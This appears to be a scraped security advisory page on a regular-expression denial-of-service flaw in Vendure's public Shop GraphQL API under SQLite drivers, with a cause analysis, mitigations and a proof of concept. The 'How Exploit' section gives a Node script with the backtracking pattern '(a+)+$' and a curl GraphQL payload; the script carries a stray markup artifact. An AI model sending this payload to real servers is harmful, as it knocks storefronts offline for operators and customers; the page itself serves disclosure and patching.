Vendure, GraphQL API ReDoS, CVE-2025-XXXX (Medium) -DC-Sep2026-2411

Listen to this Post

Vendure is a headless commerce framework built on Node.js. The vulnerability resides in the public Shop GraphQL API, specifically in the `StringOperators.regex` filter used for product queries. When a Vendure instance is configured with the SQLite driver (better-sqlite3 or sqljs), the regex filter is evaluated through a JavaScript user-defined function (UDF) that executes synchronously on the Node.js event loop. This UDF is registered so that SQLite can handle the `REGEXP` operator, which is not natively supported by the database engine.
The critical flaw is that the pattern argument passed to the UDF is the raw, unsanitised value supplied by the API caller. Vendure constructs a new `RegExp` object directly from this input without applying any length limit, timeout, or safe-regex validation. An attacker can supply a catastrophically backtracking pattern, such as (a+)+$, which causes the regular expression engine to consume exponential CPU time on a relatively short input string. Because the UDF runs synchronously on the main Node.js event loop, the entire server process becomes unresponsive for the duration of the regex evaluation.
The attack surface is further widened by the fact that the `products` resolver in the Shop API carries no `@Allow` decorator. Vendure’s default entity access control strategy treats an empty permission set as publicly accessible, meaning that any unauthenticated user on the internet can invoke this query. No account, API key, or session is required. The combination of user-controlled regex, synchronous JavaScript execution on the event loop, and unauthenticated access creates a complete denial-of-service path.
When a malicious request is sent, the Node.js event loop is blocked, preventing the server from handling any other incoming requests. The storefront and admin panel both become unresponsive. A single request can cause tens of seconds of CPU spin, and repeated requests constitute a sustained DoS attack requiring minimal bandwidth. The vulnerability only affects instances using SQLite drivers, as PostgreSQL and MySQL/MariaDB delegate pattern matching to their respective database engines, which have their own exposure characteristics but do not block the Node.js event loop.

DailyCVE Form:

Platform: Vendure
Version: Not specified
Vulnerability: ReDoS
Severity: Medium
date: Not specified

Prediction: Unknown

What Undercode Say:

Bash Commands and Codes:

node poc-redos.js
// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[] pattern:', PATTERN, ' value:', VALUE);
console.log('[] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(<code>${PATTERN}</code>, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);
curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\"(a+)+$\\"}}}) { items { id } } }\"}" --max-time 60

Expected output:

[] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms result: false

How Exploit: (Educational Purposes!)

Step 1 — Save the following as `poc-redos.js`:

const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[] pattern:', PATTERN, ' value:', VALUE);
console.log('[] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(<code>${PATTERN}</code>, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);

Step 2 — Run it:

node poc-redos.js

Step 3 — Send GraphQL payload against a running Vendure instance with `better-sqlite3` or `sqljs` driver:

curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\"(a+)+$\\"}}}) { items { id } } }\"}" --max-time 60

Protection: from this CVE

  • Validate the regex before constructing it using a safe-regex library such as `safe-regex2` or `recheck` to reject patterns known to cause catastrophic backtracking.
  • Enforce a maximum pattern length, rejecting `StringOperators.regex` values exceeding a reasonable limit (e.g., 100 characters) at the GraphQL validation layer.
  • Run the UDF in a worker thread by moving `regexpFn` off the main event loop using `worker_threads` with an `AbortSignal` timeout.
  • Require authentication for filtered list queries by adding `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` and other filterable list queries as a defence-in-depth measure.

Impact:

Vulnerability type: Regular Expression Denial of Service (ReDoS)

Who is impacted: Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver, typical for development environments and single-server small deployments created via @vendure/create. Any unauthenticated internet user can trigger the attack with no credentials, API key, or session. A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out. Repeated requests constitute a sustained DoS requiring minimal bandwidth.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top